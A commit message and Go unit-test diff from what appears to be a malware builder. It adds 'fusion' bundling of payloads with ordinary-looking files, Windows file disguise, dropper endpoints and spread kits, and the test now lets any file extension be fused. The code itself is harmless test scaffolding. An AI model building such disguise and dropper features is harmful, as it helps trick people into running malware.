Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/builder/fusion_upload_test.go

@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
 	}
 }
 
-func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
+// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
+// Only files with no extension at all are rejected.
+func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
+	for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
+		h := &Handler{dataDir: t.TempDir()}
+		body := &bytes.Buffer{}
+		w := multipart.NewWriter(body)
+		partHeader := make(textproto.MIMEHeader)
+		partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
+		part, _ := w.CreatePart(partHeader)
+		_, _ = part.Write([]byte("x"))
+		w.Close()
+		r := multipart.NewReader(body, w.Boundary())
+		form, _ := r.ReadForm(10 << 20)
+		f, _ := form.File["prep_exe"][0].Open()
+		_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
+		f.Close()
+		if err != nil {
+			t.Errorf("expected %s to be accepted, got error: %v", fname, err)
+		} else {
+			cleanup()
+		}
+	}
+}
+
+func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
 	h := &Handler{dataDir: t.TempDir()}
 	body := &bytes.Buffer{}
 	w := multipart.NewWriter(body)
 	partHeader := make(textproto.MIMEHeader)
-	partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
+	partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
 	part, _ := w.CreatePart(partHeader)
 	_, _ = part.Write([]byte("x"))
 	w.Close()
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
 	defer f.Close()
 	_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
 	if err == nil {
-		t.Fatal("expected error for .txt upload")
+		t.Fatal("expected error for file with no extension")
 	}
 }